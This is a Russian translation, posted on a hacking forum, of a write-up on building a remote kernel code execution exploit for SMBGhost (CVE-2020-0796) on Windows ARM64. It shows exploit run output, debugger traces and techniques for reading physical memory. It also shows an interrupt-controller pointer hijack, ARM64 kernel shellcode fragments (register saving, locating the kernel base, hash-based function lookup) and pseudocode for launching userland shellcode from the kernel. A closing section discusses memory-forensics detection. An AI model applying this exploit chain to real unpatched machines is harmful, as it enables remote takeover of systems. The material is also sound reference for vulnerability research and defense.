• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья SMBaloo - Создание RCE эксплойта для Windows ARM64 (SMBGhost Едишн)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Не используйте эту статью ни для чего, кроме образовательных целей, все это было протестировано только на единственной машине ARM64 (Windows 10 18362 ARM 64-bit (AArch64)), к которой у меня был прямой доступ. Убедитесь, что патч KB4551762 не установлен, если вы выполняетете некоторые тесты. Я постараюсь сделать эту статью максимально удобочитаемой, даже если у вас ограниченный опыт разработки эксплойтов. Если у вас есть какие-либо вопросы - не стесняйтесь просто заходить в Discord, чтобы задать их на сервере OPCDE.

Код:
PS C:\Users\msuiche\Documents\dev\smbaloo> python.exe .\exploit.py -ip 169.254.82.219
[+] hal!HalpInterruptController found at 80009000!
[+] HalpInterruptController_VirtAddr at fffff7a700007000
[+] HalpGic3RequestInterrupt at fffff803bcdd5d70
[+] pHalpGic3RequestInterrupt at fffff7a700007078
[+] HalBase_VirtAddr at fffff803bcd9f000
[+] built shellcode!
[+] Wrote shellcode at fffff803bcd9f500!
[+] Press a key to execute shellcode!
[+] [fffff7a700007078] = fffff803bcd9f500
[+] overwrote HalpInterruptController pointer, should have execution shortly...
PS C:\Users\msuiche\Documents\dev\smbaloo>

Уязвимость

Прежде всего ... Как выглядит переполнение int на процессоре ARM64? :) Она выглядит так, как показано ниже на картинке, поскольку вы можете видеть, что 32-битные регистры w9 и w8 складываются друг с другом и происходит БУМММ.

1639556550658.png


Эксплуатация

Чтение физической памяти с помощью MDL


@hugeh0ge, который первым написал об использовании SMBGhost (CVE-2020-0796) и представил, как использовать списки дескрипторов памяти (MDL) для чтения страниц физической памяти. Это определенно отличный пост в блоге, чтобы понять, как использовать уязвимость, он был особенно полезен, когда я читал превосходный chompie эксплойт. Хотя, пытаясь использовать этот эксплойт, я постоянно получал примитивные сбои физического чтения при попытке чтения физических страниц, которые будут обсуждаться ниже.

Вот некоторые из команд, которые я использовал для отладки своих MDL:
Код:
bp srv2!Srv2DecompressData+0x7c
bp srv2!Srv2DecompressData+0xd0
bp srvnet!SrvNetSendData

r w9; r w8; r w0; p;r x0;.printf "(srv2!Srv2DecompressData post allocation)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x0, poi(@x0+0x18), poi(@x0+0x38);g
.printf "(srv2!Srv2DecompressData pre uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);p;r x19;.printf "(srv2!Srv2DecompressData post uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);g
.printf "(srvnet!SrvNetSendData)\nMDL: %p\n", poi(@x1+8);dt nt!_MDL poi(@x1+8);dq poi(@x1+8)+0x30 L3;

После отладки srvnet!SrvNetSendData я заметил, что функция не считывала номера кадров страницы (PFN), которые были добавлены после созданного MDL. Это произошло из-за того, что MdlFlags был установлен в 0x501C вместо 0x5018, где MDL_SOURCE_IS_NONPAGED_POOL не должен присутствовать.

Код:
MdlFlags: 0x5018     Mdl Flags: 0x501C
MDL_ALLOCATED_FIXED_SIZE     MDL_ALLOCATED_FIXED_SIZE
MDL_PARTIAL     MDL_PARTIAL
MDL_NETWORK_HEADER     MDL_NETWORK_HEADER
MDL_ALLOCATED_MUST_SUCCEED     MDL_ALLOCATED_MUST_SUCCEED
MDL_SOURCE_IS_NONPAGED_POOL

Спасибо макросу MmGetSystemAddressForMdlSafe() за подсказку.

C:
#define MmGetSystemAddressForMdlSafe(MDL, PRIORITY)           \
        (((MDL)->MdlFlags & (MDL_MAPPED_TO_SYSTEM_VA |        \
                        MDL_SOURCE_IS_NONPAGED_POOL)) ?       \
                             ((MDL)->MappedSystemVa) :        \
                        (MmMapLockedPagesSpecifyCache((MDL),  \
                                                  KernelMode, \
                                                  MmCached,   \
                                                  NULL,       \
                                                  FALSE,      \
                                                  (priority))))

Теперь, когда у нас есть возможность читать физические страницы, я первым делом понял, что в некоторых случаях я не мог читать определенные физические адреса, потому что они не были частью фактического макета физической памяти, и тогда система зависает или происходит BsoD. Я написал статью о получении структуры физической памяти с помощью структур MmGetPhysicalMemoryRanges() в 2008 году (http://blog.csdn.net/iiprogram/article/details/3080059), поскольку это была общая проблема для многих инструментов сбора памяти, которую DumpIt решал в первые дни.

Как ни странно, все остальные были настолько одержимы сырыми дампами, что даже не знали, что такое сырая паиять. Многие пытались читать от 0x0 до HighestPhysicalMemoryAddress, хотя некоторые блоки в этом адресном пространстве могут быть зарезервированы для памяти других устройств, таких как видеокарты, или даже не выделены. Если вы посмотрите мою старую презентацию BlackHat 2010 - Blue screen of death is dead, я рассказывал об этом, объясняя простую структуру физической памяти.

Есть еще одна потенциальная (и интересная) причина, по которой невозможно читать страницы физической памяти на ARM64, которая определенно заслуживает большего внимания, а именно то, что видимое физическое адресное пространство между Secure World и Normal World может отличаться. Это также основная причина, по которой я перестал пытаться использовать методику самосопоставления TTBR (PML4 на x64), в которой вы ищите PTE KSHARED_USER_DATA и меняете биты NX для загрузки шелл-кода ядра.

Система может быть спроектирована так, чтобы иметь две полностью отдельные системы памяти, где Normal World может получить доступ только к незащищенному физическому адресному пространству, а Secure World может получить доступ к обоим, предоставляя для обоих миров разные таблицы трансляции (TTBR).

1639556677277.png

Я очень подозреваю, что именно это происходит, когда мы пытаемся прочитать некоторые таблицы страниц ядра, что мешает нам прочитать таблицу TTBR1. Простой способ прочитать значение TTBR1 (а также Vbar_El1, о котором мы поговорим позже) во время отладки - это прочитать значения Pcr[n].Prcb.ProcessorState.ArchState. Эта информация особенно полезна, особенно когда мы не хотим включать отладку ядра на машине, где мы можем просто сгенерировать полный дамп памяти с помощью DumpIt ARM64 (доступен с 2019 года) и прочитать эти значения.

Код:
0: kd> dx -id 0,0,ffffda8cc8c7e180 -r1 (*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60))
(*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60))                 [Type: _KARM64_ARCH_STATE]
    [+0x000] Midr_El1         : 0x517f803c [Type: unsigned __int64]
    [+0x008] Sctlr_El1        : 0x30d0591d [Type: unsigned __int64]
    [+0x010] Actlr_El1        : 0x0 [Type: unsigned __int64]
    [+0x018] Cpacr_El1        : 0x300000 [Type: unsigned __int64]
    [+0x020] Tcr_El1          : 0x95b5513511 [Type: unsigned __int64]
    [+0x028] Ttbr0_El1        : 0x400000800a9000 [Type: unsigned __int64]
    [+0x030] Ttbr1_El1        : 0x400000800a9800 [Type: unsigned __int64]
    [+0x038] Esr_El1          : 0xf200f000 [Type: unsigned __int64]
    [+0x040] Far_El1          : 0x1b6ebff1000 [Type: unsigned __int64]
    [+0x048] Pmcr_El0         : 0x0 [Type: unsigned __int64]
    [+0x050] Pmcntenset_El0   : 0x0 [Type: unsigned __int64]
    [+0x058] Pmccntr_El0      : 0x0 [Type: unsigned __int64]
    [+0x060] Pmxevcntr_El0    [Type: unsigned __int64 [31]]
    [+0x158] Pmxevtyper_El0   [Type: unsigned __int64 [31]]
    [+0x250] Pmovsclr_El0     : 0x0 [Type: unsigned __int64]
    [+0x258] Pmselr_El0       : 0x0 [Type: unsigned __int64]
    [+0x260] Pmuserenr_El0    : 0x0 [Type: unsigned __int64]
    [+0x268] Mair_El1         : 0x44bb00ff44bb00ff [Type: unsigned __int64]
    [+0x270] Vbar_El1         : 0xfffff800dfc03000 [Type: unsigned __int64]

Из-за ограниченного доступа к машинам ARM64 я не смог дополнительно проверить это, но на моем тестовом ноутбуке (Lenovo Yoga C630) PFN Ttbr0_El1 постоянно был 0x800a9000 после 50-100 перезагрузок - это означает, что это значение, вероятно, не рандомизировано, что могло быть проверенным путем реверсинга bootmgfw!MmArm64pAllocateAndInitializePageTables. Я не говорю, что значение статично в разных средах, но то что его легко предсказать.

1639556726966.png



На данный момент мы можем сделать два предположения:

- KASLR используется для виртуальных адресов ядра, но, похоже, не всегда так для ранних физических адресов.
- Кажется, мы не можем читать таблицы физических страниц.

А как насчет других потенциальных физических адресов, которые мы могли бы использовать, например hal! HalpInterruptController? Бинго!

Код:
0: kd> !pte poi(hal!HalpInterruptController)
                                           VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78    PPE at FFFFF67B3D9EFE78    PDE at FFFFF67B3DFCF000    PTE at FFFFF67BF9E00038
contains 0060000084600F03  contains 00E0000084603F03  contains 00E0000084604F03  contains 00E0000080009F03
pfn 84600      -R--ADK--V  pfn 84603      -W--ADK--V  pfn 84604      -W--ADK--V  pfn 80009      -W--ADK--V

Опять же, на моей машине poi(hal!HalpInterruptController) PFN оказался постоянным при нескольких перезагрузках с физическим адресом 0x80009000 (с включенным режимом отладки. Благодаря DumpIt значение равно 0x80005000, когда режим отладки отключен) - и это также произошло на другой машине, где это было 0x40009000.

Мы уже можем видеть шаблон, в котором PFN для poi(hal! HalpInterruptController) равен nt! MmPhysicalMemoryBlock->Run [0].BasePage+0x9.

Машина 1

Код:
0: kd> dt poi(nt!MmPhysicalMemoryBlock)  nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
   +0x010 Run     : [0]
      +0x000 BasePage : 0x80000
      +0x008 PageCount : 0x400

0: kd> !pte poi(hal!HalpInterruptController)
                                           VA fffff7f3c0007000
PXE at FFFFF67B3D9ECF78    PPE at FFFFF67B3D9EFE78    PDE at FFFFF67B3DFCF000    PTE at FFFFF67BF9E00038
contains 0060000084600F03  contains 00E0000084603F03  contains 00E0000084604F03  contains 00E0000080009F03
pfn 84600      -R--ADK--V  pfn 84603      -W--ADK--V  pfn 84604      -W--ADK--V  pfn 80009      -W--ADK--V

Машина 2

Код:
5: kd> dt poi(nt!MmPhysicalMemoryBlock)  nt!_PHYSICAL_MEMORY_DESCRIPTOR -a Run[0].
   +0x010 Run     : [0]
      +0x000 BasePage : 0x40000
      +0x008 PageCount : 0x2bb

5: kd> !pte poi(hal!HalpInterruptController)
                                           VA fffff79280007000
PXE at FFFF82C160B05F78    PPE at FFFF82C160BEF250    PDE at FFFF82C17DE4A000    PTE at FFFF82FBC9400038
contains 0060000085500F03  contains 00E0000085603F03  contains 00E0000085604F03  contains 00E0000040009703
pfn 85500      -R--ADK--V  pfn 85603      -W--ADK--V  pfn 85604      -W--ADK--V  pfn 40009      -W-GADK--V

Теперь мы можем удаленно и последовательно читать физический адрес poi(hal! HalpInterruptController)! Бинго!

Вы можете прочитать функцию эксплойта ReadHalInterruptController() для получения более подробной информации.

Таблица универсального контроллера прерываний (GIC)

После того, как мы прочитаем hal!HalpInterruptController, мы можем легко проверить структуру с помощью некоторых простых проверок, таких как пустые поля или, в нашем случае с SMBaloo постоянное значение (вероятно, размер) в poi (hal!HalpInterruptController)+ 0x18, равно 0x545.

Код:
0: kd> dq poi(hal!HalpInterruptController)+0x18 L1
HalpInterruptController_Sig = 0x00000545

Тогда очень легко получить базовый адрес hal из одного из виртуальных адресов функции, вычитая смещения функций.

Код:
0: kd> dps poi(hal!HalpInterruptController)
fffff7f3`c0007000  fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007008  fffff800`dfbd7370 hal!HalpRegisteredInterruptControllers
fffff7f3`c0007010  fffff7f3`c0007158
fffff7f3`c0007018  00000000`00000545
fffff7f3`c0007020  fffff800`df8c7640 hal!HalpGic3InitializeLocalUnit
fffff7f3`c0007028  fffff800`df8c7450 hal!HalpGic3InitializeIoUnit
fffff7f3`c0007030  fffff800`df89b2c0 hal!HalpGic3SetPriority
fffff7f3`c0007038  00000000`00000000
fffff7f3`c0007040  00000000`00000000
fffff7f3`c0007048  00000000`00000000
fffff7f3`c0007050  00000000`00000000
fffff7f3`c0007058  fffff800`df8c71a0 hal!HalpGic3AcceptAndGetSource
fffff7f3`c0007060  fffff800`df89b2e0 hal!HalpGic3WriteEndOfInterrupt
fffff7f3`c0007068  00000000`00000000
fffff7f3`c0007070  fffff800`df8c7ea0 hal!HalpGic3SetLineState
fffff7f3`c0007078  fffff800`df8c7d70 hal!HalpGic3RequestInterrupt

0: kd> !itoldyouso hal
hal.dll
    Timestamp: 4328224B
    SizeOfImage: 36F000
          pdb: hal.pdb
          pdb sig: 24BF0D45-4FA0-30FF-4791-CA91A5EAD872
          age: 1
0: kd> ? hal!HalpRegisteredInterruptControllers - hal
Evaluate expression: 3433328 = 00000000`00346370

Что еще более важно, нам нужно решить, какую запись исправить, чтобы запустить полезную нагрузку нашего ядра. Как видите, вместо Advanced Programmable Interrupt Controller (APIC) - операционная система ARM64 использует Generic Interrupt Controller (GIC) версии 3.

Архитектура GICv3 разработана для работы с ARMv8-A и ARMv8-R совместимыми элементами обработки (PE).

1639556866462.png


Архитектура универсального контроллера прерываний (GIC) определяет:

- Требования к архитектуре для обработки всех источников прерываний для любого PE, подключенного к GIC.
- Стандартный интерфейс программирования контроллера прерываний, применимый к однопроцессорным или многопроцессорным системам.

В эксплойте SMBaloo я решил исправить запись hal!HalpGic3RequestInterrupt, которая была бы эквивалентом hal! HalpApicRequestInterrupt.

Шеллкод

KUSER_SHARED_DATA - популярный вариант для копирования и выполнения полезных данных ядра, хотя вам нужно перевернуть биты NX перед патчингом записи в таблице контроллера прерываний. Мы рассмотрим этот вариант, прежде чем обсуждать второй вариант, который я в конечном итоге использовал для SMBaloo.

TTBR Self Ref?

Биты TTBR Self Ref и NX


Если мы посмотрим на таблицу страниц TTBR в Windbg, мы увидим, что, как и в случае с основной таблицей страниц PML4, существует запись self-reference, которую мы можем использовать для поиска виртуального адреса KUSER_SHARED_DATA PTE.

Единственное заметное отличие от систем x64 заключается в том, что позиции битового поля No Execute различны и существуют как два отдельных значения PrivilegedNoExecute (EL1 - Kernelland) и UserNoExecute (EL0 — Userland).

Код:
    # Clear NX bit
    # This is different on ARM64
    # MMPTE_HARDWARE.PrivilegedNoExecute = False
    # MMPTE_HARDWARE.UserNoExecute = False
    overwrite_val = pte_val & ~(3 << 53)

0: kd> dt nt!_MMPTE_HARDWARE
   +0x000 Valid            : Pos 0, 1 Bit
   +0x000 NotLargePage     : Pos 1, 1 Bit
   +0x000 CacheType        : Pos 2, 2 Bits
   +0x000 OsAvailable2     : Pos 4, 1 Bit
   +0x000 NonSecure        : Pos 5, 1 Bit
   +0x000 Owner            : Pos 6, 1 Bit
   +0x000 NotDirty         : Pos 7, 1 Bit
   +0x000 Sharability      : Pos 8, 2 Bits
   +0x000 Accessed         : Pos 10, 1 Bit
   +0x000 NonGlobal        : Pos 11, 1 Bit
   +0x000 PageFrameNumber  : Pos 12, 36 Bits
   +0x000 reserved1        : Pos 48, 4 Bits
   +0x000 ContiguousBit    : Pos 52, 1 Bit
   +0x000 PrivilegedNoExecute : Pos 53, 1 Bit
   +0x000 UserNoExecute    : Pos 54, 1 Bit
   +0x000 Writable         : Pos 55, 1 Bit
   +0x000 CopyOnWrite      : Pos 56, 1 Bit
   +0x000 PdeLocked        : Pos 57, 1 Bit
   +0x000 PdeContended     : Pos 58, 1 Bit
   +0x000 PxnTable         : Pos 59, 1 Bit
   +0x000 UxnTable         : Pos 60, 1 Bit
   +0x000 ApTable          : Pos 61, 2 Bits
   +0x000 NsTable          : Pos 63, 1 Bit

Но помните, что мы не можем читать таблицы физических страниц с помощью чтения нашей физической страницы с помощью MDL: (Я использовал этот метод во время моих первоначальных тестов, жестко кодируя виртуальный адрес PTE и значение PTE, пока не нашел более надежный метод, который я описываю в следующем разделе.

Зачем переворачивать биты? Когда тебе это не нужно.

Поразмыслив над этим, я спросил себя, почему я вообще вообще пытаюсь исправить запись PTE. Я устал копировать вставку виртуального адреса из отладчика в свой эксплойт, что через некоторое время действительно начало казаться глупым. Все, что нам нужно, это исполняемая страница, верно?

Я люблю большие страницы, я не могу лгать. Поскольку модули ядра отображаются в памяти на большой странице, это означает, что мы можем использовать пространство заголовков для хранения полезных данных ядра, поскольку они будут помечены как исполняемые, как и остальная часть двоичного файла. И поскольку мы восстановили базовый адрес hal в предыдущем разделе, мы можем не касаться PTE KUSER_SHARED_DATA. Хотя, чтобы избежать перезаписи заголовка, я использую дельта-смещение hal + 0x500 (pshellcodeva = HalBase_VirtAddr + 0x500) для моей полезной нагрузки, что дает нам приличный размер используемого исполняемого пространства равный 0xb00.

Код:
0: kd> !pte nt
                                           VA fffff800dfc00000
PXE at FFFFF67B3D9ECF80    PPE at FFFFF67B3D9F0018    PDE at FFFFF67B3E0037F0    PTE at FFFFF67C006FE000
contains 0060000084609F03  contains 006000008460AF03  contains 00C000009C000F01  contains 0000000000000000
pfn 84609      -R--ADK--V  pfn 8460a      -R--ADK--V  pfn 9c000      -WX-ADK-LV  LARGE PAGE pfn 9c000   

0: kd> !pte hal
                                           VA fffff800df891000
PXE at FFFFF67B3D9ECF80    PPE at FFFFF67B3D9F0018    PDE at FFFFF67B3E0037E0    PTE at FFFFF67C006FC488
contains 0060000084609F03  contains 006000008460AF03  contains 00C000009BC00F01  contains 0000000000000000
pfn 84609      -R--ADK--V  pfn 8460a      -R--ADK--V  pfn 9bc00      -WX-ADK-LV  LARGE PAGE pfn 9bc91   

0: kd> dt nt!_MMPTE_HARDWARE FFFFF67B3E0037E0
   +0x000 Valid            : 0y1
   +0x000 NotLargePage     : 0y0
   +0x000 CacheType        : 0y00
   +0x000 OsAvailable2     : 0y0
   +0x000 NonSecure        : 0y0
   +0x000 Owner            : 0y0
   +0x000 NotDirty         : 0y0
   +0x000 Sharability      : 0y11
   +0x000 Accessed         : 0y1
   +0x000 NonGlobal        : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000010011011110000000000 (0x9bc00)
   +0x000 reserved1        : 0y0000
   +0x000 ContiguousBit    : 0y0
   +0x000 PrivilegedNoExecute : 0y0 // <=============== <3 <3 <3 <3 <3 <3
   +0x000 UserNoExecute    : 0y1
   +0x000 Writable         : 0y1
   +0x000 CopyOnWrite      : 0y0
   +0x000 PdeLocked        : 0y0
   +0x000 PdeContended     : 0y0
   +0x000 PxnTable         : 0y0
   +0x000 UxnTable         : 0y0
   +0x000 ApTable          : 0y00
   +0x000 NsTable          : 0y0

Теневой стек

В ARM64 нет PUSHAD/POPAD - и даже нет никаких инструкций PUSH/POP, но нам все равно нужно очень аккуратно сохранять наши регистры, включая аргументы функций, которые передаются через регистры. Регистры из x0-x7 используются для передачи параметров, поскольку мы хотим правильно перенаправиться на исходный hal! HalpGic3RequestInterrupt, мы не хотим, чтобы они перезаписывались, поэтому, нам нужно что-то более общее, которое работает как PUSHAD/POPAD.

Bash:
Register     Volatile?     Role
x0     Volatile     Parameter/scratch register 1, result register
x1-x7     Volatile     Parameter/scratch register 2-8
x8-x15     Volatile     Scratch registers.
x16-x17     Volatile     Intra-procedure-call scratch registers
x18/xpr     Non-volatile     Platform register. Points to KPCR (Kernel mode), to TEB (User-mode). This should never be overwritten.
x19-x28     Non-volatile     Scratch registers.
x29/fp     Non-volatile     Frame pointer. The frame pointer (x29) is required for compatibility with fast stack walking used by ETW and other services. It must point to the previous {x29, x30} pair on the stack.
x30/lr     Non-volatile     Link registers. This one is particularly important when hooking functions as it contains the original return address. It also gets overwritten each time we use a call instruction!

Обратите внимание, что в отличие от AArch32, счетчик программ (PC) и указатель стека (SP) не являются индексируемыми регистрами.

Короче говоря, нам нужно выделить пространство кадра в стеке (sp) - и сохранить все наши регистры внутри него, используя инструкции stp/str, и мы восстановим их, используя инструкции ldp/ldr.

PUSHAD

Код:
    sub    sp, sp, #S_FRAME_SIZE
    stp    x0, x1, [sp, #16 * 0]
    stp    x2, x3, [sp, #16 * 1]
    stp    x4, x5, [sp, #16 * 2]
    stp    x6, x7, [sp, #16 * 3]
    stp    x8, x9, [sp, #16 * 4]
    stp    x10, x11, [sp, #16 * 5]
    stp    x12, x13, [sp, #16 * 6]
    stp    x14, x15, [sp, #16 * 7]
    stp    x16, x17, [sp, #16 * 8]
    stp    xpr, x19, [sp, #16 * 9]
    stp    x20, x21, [sp, #16 * 10]
    stp    x22, x23, [sp, #16 * 11]
    stp    x24, x25, [sp, #16 * 12]
    stp    x26, x27, [sp, #16 * 13]
    stp    x28, x29, [sp, #16 * 14]
    str    lr, [sp, #16 * 15]

POPAD

Код:
  ldp    x0, x1, [sp, #16 * 0]
    ldp    x2, x3, [sp, #16 * 1]
    ldp    x4, x5, [sp, #16 * 2]
    ldp    x6, x7, [sp, #16 * 3]
    ldp    x8, x9, [sp, #16 * 4]
    ldp    x10, x11, [sp, #16 * 5]
    ldp    x12, x13, [sp, #16 * 6]
    ldp    x14, x15, [sp, #16 * 7]
    ldp    x16, x17, [sp, #16 * 8]
    ldp    xpr, x19, [sp, #16 * 9]
    ldp    x20, x21, [sp, #16 * 10]
    ldp    x22, x23, [sp, #16 * 11]
    ldp    x24, x25, [sp, #16 * 12]
    ldp    x26, x27, [sp, #16 * 13]
    ldp    x28, x29, [sp, #16 * 14]
    ldr    lr, [sp, #16 * 15]
    add    sp, sp, #S_FRAME_SIZE

Доступ к PCR

x18 или xpr указывает на KPCR для текущего процессора в режиме ядра и указывает на TEB в пользовательском режиме. Это позволяет нам получить адрес объекта System EPROCESS (GetPcr()→PsGetCurrentThread()→PsGetCurrentProcess())

Код:
  ldr     x8, [xpr, #0x988]; PsGetCurrentThread()
    ldr     x3, [x8, #ETHREAD_PROCESS_OFFSET] ; PsGetCurrentProcess()
    add     x0, x3, #EPROCESS_IMAGEFILENAME_OFFSET ; name

Базовый адрес Ntoskrnl

VBAR_EL1, регистр базового адреса вектора (EL1), содержит базовый адрес вектора для любого исключения, которое передается в EL1 (ядро), и этот базовый адрес вектора (nt!KiArm64ExceptionVectors) находится внутри ntoskrnl.exe. VBAR_EL1 инициализируется ntoskrnl!KiInitializeExceptionVectorTable. Также имеется векторный регистр базового адреса для EL2 и EL3. Брюс Данг написал прекрасную статью о диспетчеризации системных вызовов в Windows ARM64, в которой рассказывается, как VBAR_EL1 используется ядром Windows ARM64.

Как только мы получим адрес nt!KiArm64ExceptionVectors, мы можем просто пройтись по нему назад, пока не найдем заголовок файла MZ образа.

Код:
   ; Search for NTBase
    mrs     x4, VBAR_EL1
    ldrh    w8, [x4]
    mov     w9, #0x5A4D
    cmp     w8, w9
    beq     xxx_break_nt_base

xxx_loop_nt_base
    sub     x4, x4, #1, lsl#12
    ldrh    w8, [x4]
    cmp     w8, w9
    bne     xxx_loop_nt_base

Функции хеширования

Процессоры ARM64 имеют встроенные коды операций CRC32, которые можно использовать для буферов хеширования, это неплохо, и я решил использовать crc32b для моей реализации GetProcAddress.

Код:
xxxComputeHash PROC
    mov     x9, x0
    ldrsb           w8, [x9]
    mov     w0, #0
    mov     w10, #0
    cbz     w8, xxx_compute_hash_exit

xxx_compute_hash_loop
    add     w10, w10, #1
    crc32b          w0, w0, w8
    ldrsb           w8, [x9,w10,sxtw]
    cbnz    w8, xxx_compute_hash_loop

xxx_compute_hash_exit
    ret
    ENDP

Fool me once, shame on you; fool me twice…

В отличие от других шеллкодов ядра, которые используют APC (асинхронный вызов процедур) дважды, я использую его только один раз для запуска APC ядра, но не для полезной нагрузки в пользовательском пространстве. В прошлом году Сухайль Хамму сообщил, что ATP в Защитнике Windows (и, вероятно, все другие EDR, основанные на событиях ETW ...) обнаруживает внедрение APC в пользовательском режиме из режима ядра, а hugeh0ge также упомянул, что пользовательская среда Control Flow Guard (CFG) перехватывает вызовы через ntdll!KiUserApcDispatch->ntdll! LdrpValidateUserCallTarget перед выполнением любого введенного APC шелл-кода. Это потребует от нас патча ntdll!LdrpValidateUserCallTarget для успешного выполнения.

В прошлом году я писал о том (https://www.comae.com/posts/2019-04-24_how-to-solve-the-blindspots-of-event-driven-detection/), почему обнаружение, управляемое событиями (большинство EDR), имеет слепые пятна, рассматривая технику внедрения кода APC в качестве примера. Вот хронология событий с того момента, когда Барнаби Джек впервые опубликовал ее на BlackHat 2005.

1639557206713.png


Но угадайте, что ядро Windows 10 экспортирует RtlCreateUserThread(), который позволяет вам делать именно то, что он делает. Параметры точно такие же, как и его версия ntdll, которая будет работать как секция псевдокода ниже. Хотя это и не освещено в последнем сообщении zerosum0x0, я приглашаю вас прочитать его последнее сообщение в блоге об известных побегах с помощью ring0, поскольку оно дает отличный исторический контекст известных в настоящее время методов и почему замечательно, что RtlCreateUserThread экспортируется и отлично работает :) AFAIK , я также не видел ни одного общедоступного шелл-кода Windows, использующего эту технику.

C:
  m_CurrentIrql = KeGetCurrentIrql()
    m_KfLowerIrql(PASSIVE_LEVEL)
    m_KeStackAttachProcess((PVOID)m_EProcessObject, &m_KAPC);
    m_UserAddress = NULL;
    m_UserModePayloadSize = 0x1000;
    if (NT_SUCCESS(m_ZwAllocateVirtualMemory((HANDLE)-1, &m_UserAddress, 0, &m_UserModePayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))) {
        memcpy(m_UserAddress, UserModeShellcode, USERMODE_SHELLCODE_SIZE);
        m_RtlCreateUserThread((HANDLE)-1, NULL, FALSE, 0, NULL, NULL, m_UserAddress, 0, &m_hThread, &m_ClientId);
    }
    m_KeUnstackDetachProcess(&m_KAPC);
    m_KfRaiseIrql(KPCR->CurrentIrql)

Еще вы заметите, что я напрямую вызываю hal!KfLowerIrql и hal!KfRaiseIrql вместо жесткого кодирования изменений IRQL, как мы обычно наблюдаем с шелл-кодами x64 - это было чисто для того, чтобы иметь надежный шелл-код, и поскольку мы В любом случае, работая с hal, не имело смысла жестко кодировать его, хотя hal!KeGetCurrentIrql жестко запрограммирован, поскольку это простая функция. KeStackAttachProcess() позволяет нам использовать (HANDLE)-1 вместо того, чтобы выполнять дополнительные операции, такие как ZwOpenProcess(), для получения дескрипторов и т.д.

Несмотря на комментарии, отключение/включение прерываний это довольно просто, но для правильной работы полезной нагрузки ядра этого не требовалось.

Код:
;msr     DAIFClr, #2             ; enable interrupts
    (..)
;msr     DAIFSet, #2             ; disable interrupts

Let’s go!​

И после вызова нашего самодельного POPAD мы можем продолжить выполнение исходной функции.

Код:
  ; Continue the GIC Request Call
    ldr     x8, m_HalpGic3RequestInterrupt
    br      x8
    ret

Userland

Благодаря нашему EL/ядру вызов nt!RtlCreateUserThread позвоялет нам теперь запускаем код в EL0.

Поиск функций работает аналогично полезной нагрузке ядра, где я также использую код операции crc32b, основное отличие состоит в том, что вместо чтения KPCR мы будем читать TEB для доступа к PEB и перечислять библиотеки DLL и находить базовый адрес kernel32.

Код:
GetK32Base PROC
    mov    x8, x18
    ldr    x19, [x8, #OFFSET_PEB]
    ldr    x19, [x19, #OFFSET_LDR_DATA]
    ldr    x19, [x19, #OFFSET_LOAD_ORDER]
    ldr    x19, [x19] ; NTDLL
    ldr    x19, [x19] ; KERNEL32
    ldr    x0, [x19, #OFFSET_DLL_BASE] ; Kernel32 Base
    ret
GetK32Base ENDP

В остальном все работает так же, как и полезная нагрузка нашего ядра - теневой стек, поиск функции, выполнение вызовов … И бум, целевая машина не взорвалась, и просто появился калькулятор. Я не публиковал шелл-код обратной оболочки, так как цель состоит в том, чтобы сделать этот эксплойт и описание чисто образовательными.

Анализ памяти для обнаружения.

Криминалистика памяти мертва. Да здравствует анализ памяти. А как насчет обнаружения? Обнаружение в реальном времени не всегда безупречно, а реализация мер по защите - это эффективный, но долгосрочный процесс. Тем не менее, имплантаты ядра с постоянным ОЗУ не всегда легко обнаружить, и часто продолжают создаваться новые методы. Это одна из основных причин, по которой я настаивал на переосмыслении ведения журнала для критических ресурсов, чтобы иметь возможность обнаруживать такие полезные нагрузки в памяти, если вы архивируете образы памяти (в пригодном для использования формате файла, таком как аварийные дампы для Windows или ядро ELF для Linux. - Помните: сырые дампы - это глупые дампы и работают только на ваших воркошопах по Windows 7 :)) и включите опцию для запуска расширенных сценариев обнаружения.

Исследование адресов, не относящихся к KASLR, таких как KPCR, в Windows 7 (см. ETERNALBLUE), KSHARED_USER_DATA или даже страницы с включенным KASLR, но без защиты NX, такой как заголовки модулей ядра, как мы видели выше, является необходимостью, и поскольку структура и инструменты реагирования на инциденты отстают, слишком много внимания уделяя базовым вещам, таким как преобразование ИТ-инструментов в DFIR таких утилит, как osquery и т. д., будет сложно увидеть значительную эволюцию с точки зрения защиты. Например, мне определенно было больше удовольствия писать этот эксплойт, чем пытаться убедить людей, почему они должны прекратить использовать сырые дампы и использовать аварийные дампы Microsoft :). Многие механизмы глубокой защиты довольно сложно реализовать, если вы не являетесь поставщиком - хотя поставщики облачных услуг могут ввести интересную парадигму для будущего облачной безопасности, в которой небольшие игроки могут иметь постоянно растущее влияние.

Эксплойт

Список используемой литературы
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.comae.com/posts/smbaloo-building-a-rce-exploit-for-windows-arm64-smbghost-edition/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Такой вопрос: откуда ты находишь источники статей ?
просто этот сайт, вроде бы, не особо популярен, чтобы следить за всеми статьями
есть какой-то источник, куда постят статьи такой тематики ?
 
Твитер и телеграмм решают, особенно если ты подписан на >100 групп и человек 🙃 🙃 🙃
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх